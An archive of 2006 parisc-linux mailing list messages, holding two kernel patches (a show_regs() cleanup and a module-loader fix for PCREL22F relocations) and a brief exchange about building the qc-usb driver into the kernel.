Original-Received: (qmail invoked by alias); 25 Jun 2006 23:38:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 26 Jun 2006 01:38:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B23157D835;
	Sun, 25 Jun 2006 17:37:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17200-09; Sun, 25 Jun 2006 17:37:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B800C7D721;
	Sun, 25 Jun 2006 17:36:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 439387D7A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16821-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:28 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 144D57D76E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:16 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B899D5840B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:15 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C31545840C8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:10 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 663C823E84
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:10 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20159-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:09 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8FD2F23E86
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id 9C6423B078
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QymqcCBBTiEtoqyUaGRwG011ZUVSRNen
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23772

show_regs() was one bloaty function. Split it into a few cleaner
functions and define a clean macro to print a line of registers.

[And from Thibaut, only print fprs on a usermode trap.]

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/traps.c |   84 +++++++++++++++++++++-----------------------
 1 files changed, 40 insertions(+), 44 deletions(-)

b91fba22eff9ce81d60b078d4c4f9973a31692dc
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index ff20060..348344a 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -66,57 +66,42 @@ #define RFMT "%016lx"
 #else
 #define RFMT "%08lx"
 #endif
+#define FFMT "%016llx"	/* fpregs are 64-bit always */
 
-void show_regs(struct pt_regs *regs)
+#define PRINTREGS(lvl,r,f,fmt,x)	\
+	printk("%s%s%02d-%02d  " fmt " " fmt " " fmt " " fmt "\n",	\
+		lvl, f, (x), (x+3), (r)[(x)+0], (r)[(x)+1],		\
+		(r)[(x)+2], (r)[(x)+3])
+
+static void print_gr(char *level, struct pt_regs *regs)
 {
 	int i;
-	char buf[128], *p;
-	char *level;
-	unsigned long cr30;
-	unsigned long cr31;
-	/* carlos says that gcc understands better memory in a struct,
-	 * and it makes our life easier with fpregs -- T-Bone */
-	struct { u32 sw[2]; } s;
-	
-	level = user_mode(regs) ? KERN_DEBUG : KERN_CRIT;
-
-	printk("%s\n", level); /* don't want to have that pretty register dump messed up */
+	char buf[64];
 
+	printk("%s\n", level);
 	printk("%s     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI\n", level);
 	printbinary(buf, regs->gr[0], 32);
 	printk("%sPSW: %s %s\n", level, buf, print_tainted());
 
-	for (i = 0; i < 32; i += 4) {
-		int j;
-		p = buf;
-		p += sprintf(p, "%sr%02d-%02d ", level, i, i + 3);
-		for (j = 0; j < 4; j++) {
-			p += sprintf(p, " " RFMT, (i+j) == 0 ? 0 : regs->gr[i + j]);
-		}
-		printk("%s\n", buf);
-	}
+	for (i = 0; i < 32; i += 4)
+		PRINTREGS(level, regs->gr, "r", RFMT, i);
+}
 
-	for (i = 0; i < 8; i += 4) {
-		int j;
-		p = buf;
-		p += sprintf(p, "%ssr%d-%d  ", level, i, i + 3);
-		for (j = 0; j < 4; j++) {
-			p += sprintf(p, " " RFMT, regs->sr[i + j]);
-		}
-		printk("%s\n", buf);
-	}
+static void print_fr(char *level, struct pt_regs *regs)
+{
+	int i;
+	char buf[64];
+	struct { u32 sw[2]; } s;
 
 	/* FR are 64bit everywhere. Need to use asm to get the content
 	 * of fpsr/fper1, and we assume that we won't have a FP Identify
 	 * in our way, otherwise we're screwed.
 	 * The fldd is used to restore the T-bit if there was one, as the
 	 * store clears it anyway.
-	 * BTW, PA2.0 book says "thou shall not use fstw on FPSR/FPERs". */ 
-	__asm__ (
-		"fstd %%fr0,0(%1)	\n\t"
-		"fldd 0(%1),%%fr0	\n\t"
-		: "=m" (s) : "r" (&s) : "%r0"
-		);
+	 * PA2.0 book says "thou shall not use fstw on FPSR/FPERs" - T-Bone */
+	asm volatile ("fstd %%fr0,0(%1)	\n\t"
+		      "fldd 0(%1),%%fr0	\n\t"
+		      : "=m" (s) : "r" (&s) : "r0");
 
 	printk("%s\n", level);
 	printk("%s      VZOUICununcqcqcqcqcqcrmunTDVZOUI\n", level);
@@ -125,14 +110,25 @@ void show_regs(struct pt_regs *regs)
 	printk("%sFPER1: %08x\n", level, s.sw[1]);
 
 	/* here we'll print fr0 again, tho it'll be meaningless */
-	for (i = 0; i < 32; i += 4) {
-		int j;
-		p = buf;
-		p += sprintf(p, "%sfr%02d-%02d ", level, i, i + 3);
-		for (j = 0; j < 4; j++)
-			p += sprintf(p, " %016llx", (i+j) == 0 ? 0 : regs->fr[i+j]);
-		printk("%s\n", buf);
-	}
+	for (i = 0; i < 32; i += 4)
+		PRINTREGS(level, regs->fr, "fr", FFMT, i);
+}
+
+void show_regs(struct pt_regs *regs)
+{
+	int i;
+	char *level;
+	unsigned long cr30, cr31;
+
+	level = user_mode(regs) ? KERN_DEBUG : KERN_CRIT;
+
+	print_gr(level, regs);
+
+	for (i = 0; i < 8; i += 4)
+		PRINTREGS(level, regs->sr, "sr", RFMT, i);
+
+	if (user_mode(regs))
+		print_fr(level, regs);
 
 	cr30 = mfctl(30);
 	cr31 = mfctl(31);
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 22/23] [PARISC] Fix PCREL22F relocation
	problem for most modules
Date: Sun, 25 Jun 2006 19:34:50 -0400
Lines: 170
Approved: news@gmane.org
Message-ID: <11512784932734-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624116 20004 80.91.229.3 (22 Nov 2014 02:41:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:56 +0000 (UTC)
Cc: James Bottomley <jejb@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:38:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 26 Jun 2006 01:38:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B1A57D7CB;
	Sun, 25 Jun 2006 17:37:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17254-03; Sun, 25 Jun 2006 17:37:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AE367D7CE;
	Sun, 25 Jun 2006 17:36:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8107E7D7AA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16872-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:29 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 914E07D778
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:17 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 41E295840B8;
	Sun, 25 Jun 2006 19:36:17 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 78E815840BF;
	Sun, 25 Jun 2006 19:36:10 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id B636023E83;
	Sun, 25 Jun 2006 19:36:09 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20154-06; Sun, 25 Jun 2006 19:36:08 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8F7AD23E84;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id AB3203B079;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KFrVAx5ha2A7ubvDOHQyWAgyOWhhaofh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23773

From: James Bottomley <jejb@parisc-linux.org>

The new problem, which has been affecting many more modules was that
our new ioremap really takes chunks out of our vmalloc space.  The net
result being that any two kernel vmalloc's now have to slot into the
chunked up space.  So the vmallocs for a modules init and core sectons
are no longer necessarily contiguous.  Unfortunately, the module loader
thinks that any internal symbol references should be satisfiable using the
jump instruction, which isn't true if the symbol is referenced from init
to core and vmalloc placed them a long way apart.

Fix this by introducing a new stub type for intra module inter sectional
jumps and using it.

And, by the way, before anyone complains, this won't fix modules that
fail to load because PCREF22F can't reach the stubs in the first place
(like ipv6.)

Signed-off-by: James Bottomley <jejb@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/module.c |   63 ++++++++++++++++++++++++++++++++++---------
 1 files changed, 50 insertions(+), 13 deletions(-)

78a01907452ac0dccd0ed38f9d25c6bee6b1cf95
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index f27cfe4..aee3118 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -89,6 +89,12 @@ static inline int is_local(struct module
 	return is_init(me, loc) || is_core(me, loc);
 }
 
+static inline int is_local_section(struct module *me, void *loc, void *dot)
+{
+	return (is_init(me, loc) && is_init(me, dot)) ||
+		(is_core(me, loc) && is_core(me, dot));
+}
+
 
 #ifndef __LP64__
 struct got_entry {
@@ -364,8 +370,14 @@ static Elf_Addr get_fdesc(struct module 
 }
 #endif /* __LP64__ */
 
+enum elf_stub_type {
+	ELF_STUB_GOT,
+	ELF_STUB_MILLI,
+	ELF_STUB_DIRECT,
+};
+
 static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
-	int millicode, int init_section)
+	enum elf_stub_type stub_type, int init_section)
 {
 	unsigned long i;
 	struct stub_entry *stub;
@@ -396,7 +408,7 @@ #ifndef __LP64__
 	stub->insns[1] |= reassemble_17(rrsel(value, addend) / 4);
 
 #else
-/* for 64-bit we have two kinds of stubs:
+/* for 64-bit we have three kinds of stubs:
  * for normal function calls:
  * 	ldd 0(%dp),%dp
  * 	ldd 10(%dp), %r1
@@ -408,18 +420,23 @@ #else
  * 	ldo 0(%r1), %r1
  * 	ldd 10(%r1), %r1
  * 	bve,n (%r1)
+ *
+ * for direct branches (jumps between different section of the
+ * same module):
+ *	ldil 0, %r1
+ *	ldo 0(%r1), %r1
+ *	bve,n (%r1)
  */
-	if (!millicode)
-	{
+	switch (stub_type) {
+	case ELF_STUB_GOT:
 		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
 		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
 		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
 		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
 
 		stub->insns[0] |= reassemble_14(get_got(me, value, addend) & 0x3fff);
-	}
-	else
-	{
+		break;
+	case ELF_STUB_MILLI:
 		stub->insns[0] = 0x20200000;	/* ldil 0,%r1		*/
 		stub->insns[1] = 0x34210000;	/* ldo 0(%r1), %r1	*/
 		stub->insns[2] = 0x50210020;	/* ldd 10(%r1),%r1	*/
@@ -427,7 +444,17 @@ #else
 
 		stub->insns[0] |= reassemble_21(lrsel(value, addend));
 		stub->insns[1] |= reassemble_14(rrsel(value, addend));
+		break;
+	case ELF_STUB_DIRECT:
+		stub->insns[0] = 0x20200000;    /* ldil 0,%r1           */
+		stub->insns[1] = 0x34210000;    /* ldo 0(%r1), %r1      */
+		stub->insns[2] = 0xe820d002;    /* bve,n (%r1)          */
+
+		stub->insns[0] |= reassemble_21(lrsel(value, addend));
+		stub->insns[1] |= reassemble_14(rrsel(value, addend));
+		break;
 	}
+
 #endif
 
 	return (Elf_Addr)stub;
@@ -539,14 +566,14 @@ #endif
 			break;
 		case R_PARISC_PCREL17F:
 			/* 17-bit PC relative address */
-			val = get_stub(me, val, addend, 0, is_init(me, loc));
+			val = get_stub(me, val, addend, ELF_STUB_GOT, is_init(me, loc));
 			val = (val - dot - 8)/4;
 			CHECK_RELOC(val, 17)
 			*loc = (*loc & ~0x1f1ffd) | reassemble_17(val);
 			break;
 		case R_PARISC_PCREL22F:
 			/* 22-bit PC relative address; only defined for pa20 */
-			val = get_stub(me, val, addend, 0, is_init(me, loc));
+			val = get_stub(me, val, addend, ELF_STUB_GOT, is_init(me, loc));
 			DEBUGP("STUB FOR %s loc %lx+%lx at %lx\n", 
 			       strtab + sym->st_name, (unsigned long)loc, addend, 
 			       val)
@@ -643,13 +670,23 @@ #endif
 			       strtab + sym->st_name,
 			       loc, val);
 			/* can we reach it locally? */
-			if(!is_local(me, (void *)val)) {
-				if (strncmp(strtab + sym->st_name, "$$", 2)
+			if(!is_local_section(me, (void *)val, (void *)dot)) {
+
+				if (is_local(me, (void *)val))
+					/* this is the case where the
+					 * symbol is local to the
+					 * module, but in a different
+					 * section, so stub the jump
+					 * in case it's more than 22
+					 * bits away */
+					val = get_stub(me, val, addend, ELF_STUB_DIRECT,
+						       is_init(me, loc));
+				else if (strncmp(strtab + sym->st_name, "$$", 2)
 				    == 0)
-					val = get_stub(me, val, addend, 1,
+					val = get_stub(me, val, addend, ELF_STUB_MILLI,
 						       is_init(me, loc));
 				else
-					val = get_stub(me, val, addend, 0,
+					val = get_stub(me, val, addend, ELF_STUB_GOT,
 						       is_init(me, loc));
 			}
 			DEBUGP("STUB FOR %s loc %lx, val %lx+%lx at %lx\n", 
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kai Holthaus <kmh@sonic.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Sun, 25 Jun 2006 19:02:04 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <200606251902.11694.kmh@sonic.net>
References: <J0FGHF$3C34E7AFFFACE857F314B50EFB7BB29D@scarlet.be>
	<200606101105.38472.kmh@sonic.net> <448B184F.7020309@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0903894000=="
X-Trace: ger.gmane.org 1416624116 20008 80.91.229.3 (22 Nov 2014 02:41:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:56 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2006 02:02:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 26 Jun 2006 04:02:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 346AA7D76E;
	Sun, 25 Jun 2006 20:02:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19002-07; Sun, 25 Jun 2006 20:02:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 770757D7D1;
	Sun, 25 Jun 2006 20:02:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B4937D76E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 20:02:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19002-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 20:02:11 -0600 (MDT)
Original-Received: from a.mail.sonic.net (a.mail.sonic.net [64.142.16.245])
	by free.linux.hp.com (Postfix) with ESMTP id 72DEB7D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 20:02:11 -0600 (MDT)
Original-Received: from miraculix.holthausworld.us (64-142-78-25.dsl.static.sonic.net
	[64.142.78.25]) (authenticated bits=0)
	by a.mail.sonic.net (8.13.6/8.13.3) with ESMTP id k5Q229SP003687
	(version=TLSv1/SSLv3 cipher=EXP1024-RC4-SHA bits=56 verify=NO);
	Sun, 25 Jun 2006 19:02:10 -0700
User-Agent: KMail/1.9.1
In-Reply-To: <448B184F.7020309@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GnascDZOTXs9vqyRbmQ5kklKRzdyMsOb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23774

--===============0903894000==
Content-Type: multipart/signed; boundary="nextPart2750942.2loOpEWIHo";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2750942.2loOpEWIHo
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

>     1. How do I compile the qc-usb driver directly into the kernel rather
> than as a standalone module?
>
>        At the moment, it is not possible without a lot of work to build t=
he
> qc-usb driver into the kernel. We recommend building qc-usb driver as a
> separate module rather than directly into the kernel. [snip]
>
> So apparently there is a few chance but regarding the generic advise it
> could be out dated, the best is certainly to contact developers to get an
> actual status ;-)

Thanks for the help and advice - here's the answer from the developer:

"I haven't tried doing this recently. I made a couple of attempts to
shoehorn the driver into the kernel build system, but it ended up being
a rathole I didn't want to go down until I've cleaned up the driver
itself. Integrating the qc-usb driver into the kernel is definitely on
the TODO list, just not right now. Sorry."

> Appology if I don't have much more help to offer (no hardware and mainly
> dramaticaly lakes of time, specialy for the moment).

This has all been very helpful. If it is indeed a problem in the hppa-linux=
=20
kernel, I'll keep a watchful eye out for fixes. If there's anything a kerne=
l=20
layman like me can do, please let me know.

Thanks,

	Kai

--nextPart2750942.2loOpEWIHo
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBEn0Ajwl7N6T1/FugRAqAiAJ9m/RqYaPxMT2jcQGVkl+0mi9uDjQCdGfdW
hpnBzGVhpHJp8JFoLxvxMvY=
=M6yM
-----END PGP SIGNATURE-----

--nextPart2750942.2loOpEWIHo--

--===============0903894000==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0903894000==--



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Sun, 25 Jun 2006 22:10:22 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20060626021022.GA19541@tachyon.int.mcmartin.ca>
References: <J0FGHF$3C34E7AFFFACE857F314B50EFB7BB29D@scarlet.be>
	<200606101105.38472.kmh@sonic.net> <448B184F.7020309@tiscali.be>
	<200606251902.11694.kmh@sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624117 20013 80.91.229.3 (22 Nov 2014 02:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:57 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Kai Holthaus <kmh@sonic.net>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2006 02:10:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
